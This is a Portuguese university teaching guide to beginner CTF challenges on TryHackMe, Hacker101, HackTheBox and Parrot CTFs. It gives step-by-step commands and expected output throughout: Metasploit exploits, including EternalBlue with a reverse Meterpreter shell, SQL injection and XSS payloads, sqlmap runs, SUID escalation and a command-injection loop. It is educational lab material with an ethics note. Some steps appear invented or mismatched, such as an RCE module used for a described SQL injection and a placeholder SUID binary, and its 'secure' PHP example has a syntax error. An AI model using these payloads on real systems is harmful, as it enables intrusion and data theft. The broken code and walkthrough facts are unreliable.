CÓDIGO DA DISCIPLINA: DEE345
Departamento de Engenharias e Exatas - UFPR/Palotina
Docente de Segurança da Informação
CTFs (Capture The Flag) são competições que simulam cenários reais de segurança cibernética. Este guia foca em:
Este guia ensina alunos a resolver desafios de cibersegurança (CTFs) nas plataformas TryHackMe, Hacker101, HackTheBox e Parrot CTFs. Cada seção detalha a resolução de um desafio iniciante, com passos práticos, comandos, saídas esperadas e lições aprendidas, para fins educacionais.
Nota Ética: Todos os testes devem ser realizados em ambientes autorizados, como os fornecidos pelas plataformas. Nunca aplique essas técnicas em sistemas reais sem permissão.
Resolver o desafio "Simple CTF" (nível iniciante), que envolve enumerar serviços, explorar vulnerabilidades web e escalar privilégios para obter flags de usuário e root.
Inicie a máquina no TryHackMe e conecte-se via VPN:
sudo openvpn ~/Downloads/tryhackme.ovpn
Saída Esperada:
Initialization Sequence Completed
Explicação: Confirma que a VPN está ativa. Teste com `ping 10.10.10.10` (IP fictício).
Varre portas e serviços com Nmap:
nmap -sC -sV -A -oN scan.txt 10.10.10.10
Saída Esperada:
Port 21/tcp open ftp vsftpd 3.0.3 Port 80/tcp open http Apache httpd 2.4.18 Port 2222/tcp open ssh OpenSSH 7.2p2
Explicação: Identifica FTP, HTTP e SSH. A porta 2222 sugere SSH não padrão. Anote serviços e versões para explorar vulnerabilidades.
Dica Acadêmica: Sempre documente portas abertas e versões em um caderno ou arquivo Markdown.
Acesse `http://10.10.10.10` no navegador. O site mostra uma página padrão.
Use Gobuster para encontrar diretórios:
gobuster dir -u http://10.10.10.10 -w /usr/share/wordlists/dirb/common.txt -o gobuster.txt
Saída Esperada:
/simple (Status: 200) /index.html (Status: 200)
Explicação: O diretório `/simple` revela o CMS Made Simple 2.2.8. Pesquise vulnerabilidades:
searchsploit CMS Made Simple 2.2.8
Saída Esperada:
CMS Made Simple 2.2.8 - SQL Injection | php/webapps/46635.py
Dica Acadêmica: Use o Exploit-DB para mapear falhas. Leia o exploit para entender sua lógica.
Use Metasploit para explorar a vulnerabilidade do CMS:
msfconsole
use exploit/multi/http/cmsms_showtime2_rce
set RHOSTS 10.10.10.10
set LHOST 10.8.0.1
run
Saída Esperada:
[*] Started reverse TCP handler [+] Command execution successful [*] Session 1 opened meterpreter >
Explicação: Ganha uma sessão Meterpreter com acesso ao servidor. Use `shell` para um terminal Linux.
Verifique privilégios:
whoami
Saída Esperada:
www-data
Procure binários SUID para escalação:
find / -perm -u=s 2>/dev/null
Saída Esperada:
/usr/bin/custom_binary
Execute o binário para obter root:
/usr/bin/custom_binary
Explicação: O binário SUID permite executar comandos como root. Navegue até `/root/root.txt`.
Obtenha as flags:
cat /home/user/user.txt
cat /root/root.txt
Saída Esperada:
user.txt: FLAG{user_1234} root.txt: FLAG{root_5678}
Submeta no TryHackMe.
#!/bin/bash
TARGET=$1
nmap -sC -sV $TARGET -oN scan_$TARGET.txt
gobuster dir -u http://$TARGET -w /usr/share/wordlists/dirb/common.txt -o gobuster_$TARGET.txt
A vulnerabilidade explorada é uma SQL Injection Blind Time-Based no parâmetro m1_idlist
:
-- Payload original:
1) AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 1=1)
m1_idlist
// Código seguro em PHP:
$stmt = $pdo->prepare("SELECT * FROM table WHERE id = :id");
$stmt->execute(['id' => $_GET['id']);
Resolver o desafio Micro-CMS v1, que envolve explorar vulnerabilidades web (XSS, SQL Injection) para encontrar flags.
Inicie o desafio no Hacker101 e acesse a URL fornecida (ex.: `https://micro-cms.example.com`). Explore `/login`, `/page/1`, `/edit/1`.
Explicação: Familiarize-se com a estrutura do site. Use DevTools (F12) para inspecionar elementos.
Configure o proxy (127.0.0.1:8080) no navegador e inicie o Burp:
burp-suite
Intercepte uma requisição GET (ex.: `/page?id=1`):
Saída Esperada:
GET /page?id=1 HTTP/1.1 Host: micro-cms.example.com
Explicação: Identifica o parâmetro `id`, potencialmente vulnerável a SQLi.
Dica Acadêmica: Anote todos os endpoints e parâmetros (ex.: `id`, `username`).
Teste manualmente no navegador:
https://micro-cms.example.com/page?id=1' OR '1'='1
Saída Esperada:
Exibe todas as páginas do CMS
Use SQLMap para automação:
sqlmap -u "https://micro-cms.example.com/page?id=1" --dbs
Saída Esperada:
available databases [2]: [*] cms_db [*] information_schema
Extraia tabelas:
sqlmap -u "https://micro-cms.example.com/page?id=1" -D cms_db --tables
Saída Esperada:
Table: flags [1 column] +-------+ | flag | +-------+ | FLAG{abc123} | +-------+
Explicação: A flag está em uma tabela do banco de dados.
Em campos editáveis (ex.: título de página em `/edit/1`), insira:
<script>alert('XSS');</script>
Saída Esperada:
Pop-up com "XSS" na página
Explicação: Confirma XSS armazenado. Pode haver uma flag em um payload mais complexo.
Submeta a flag encontrada via SQLi ou XSS no Hacker101.
Dica Acadêmica: Inspecione o código-fonte (Ctrl+U) para flags ocultas em comentários HTML.
Teste estes payloads no parâmetro id
:
1' ORDER BY 1--
1' UNION SELECT null,version(),null--
# 1. Identificar número de colunas
1' ORDER BY 4-- → Erro (só 3 colunas)
# 2. Extrair nomes de tabelas
1' UNION SELECT 1,table_name,3 FROM information_schema.tables--
Dica Pedagógica: Use este fluxo para ensinar:
Resolver a máquina "Blue" (nível fácil), explorando a vulnerabilidade EternalBlue (MS17-010) para acesso inicial e coletando a flag de administrador.
Inicie a máquina "Blue" e conecte-se à VPN:
sudo openvpn ~/Downloads/htb.ovpn
Saída Esperada:
Initialization Sequence Completed
Explicação: Confirma conexão à rede HTB.
Varre portas com Nmap:
nmap -sC -sV -p- -oN blue_scan.txt 10.10.10.40
Saída Esperada:
Port 135/tcp open msrpc Microsoft RPC Port 139/tcp open netbios NetBIOS Port 445/tcp open smb Microsoft SMB
Explicação: Portas 139/445 sugerem SMB em Windows, vulnerável ao EternalBlue.
Dica Acadêmica: Sempre verifique versões de serviços para exploits conhecidos.
Use Metasploit:
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.10.40
set LHOST 10.10.14.1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
Saída Esperada:
[*] Started reverse TCP handler [+] Exploit completed [*] Session 1 opened (SYSTEM) meterpreter >
Explicação: Ganha uma sessão com privilégios SYSTEM devido à vulnerabilidade MS17-010.
Navegue até o desktop do administrador:
cd C:\Users\Administrator\Desktop
dir
type flag.txt
Saída Esperada:
flag.txt FLAG{blue1234}
Submeta a flag no HTB.
Dica Acadêmica: Sempre verifique diretórios comuns (Desktop, Documents) em máquinas Windows.
#!/bin/bash
TARGET=$1
nmap -p 139,445 --script smb-vuln* $TARGET -oN smb_scan_$TARGET.txt
Resolver o desafio Web Basics (nível iniciante), explorando vulnerabilidades web, como injeção de comandos, para obter uma flag.
Inicie o desafio no Parrot CTFs e acesse a URL (ex.: `http://web-basics.parrot-ctf.com`). Explore a interface.
Explicação: Verifique formulários, links e parâmetros URL.
Use Dirb para encontrar diretórios:
dirb http://web-basics.parrot-ctf.com /usr/share/wordlists/dirb/common.txt -o dirb.txt
Saída Esperada:
/config (Status: 200) /admin (Status: 403)
Explicação: O diretório `/config` pode conter arquivos sensíveis.
Acesse `/index.php?cmd=ping` e teste injeção:
curl "http://web-basics.parrot-ctf.com/index.php?cmd=whoami"
Saída Esperada:
www-data
Tente ler a flag:
curl "http://web-basics.parrot-ctf.com/index.php?cmd=cat+/flag.txt"
Saída Esperada:
FLAG{web1234}
Explicação: A injeção de comandos permite executar `cat` para ler a flag.
Dica Acadêmica: Teste payloads como `;ls`, `&&whoami` para entender o ambiente.
Acesse `/config/config.php`:
curl http://web-basics.parrot-ctf.com/config/config.php
Saída Esperada:
<?php define('FLAG', 'FLAG{web1234}'); ?>
Explicação: Arquivos de configuração podem vazar flags ou credenciais.
Submeta a flag no Parrot CTFs.
#!/bin/bash
URL=$1
for cmd in "whoami" "ls" "cat+/flag.txt"; do
curl "$URL?cmd=$cmd"
done
Comparação da dificuldade relativa dos desafios:
Este guia fornece uma base prática para resolver CTFs, enfatizando enumeração, exploração ética e documentação. Alunos devem praticar regularmente em plataformas como TryHackMe e HackTheBox, usando ferramentas como Nmap, Metasploit e Burp Suite. Para avançar, explore desafios intermediários e estude certificações como CEH ou OSCP.
Recursos Adicionais: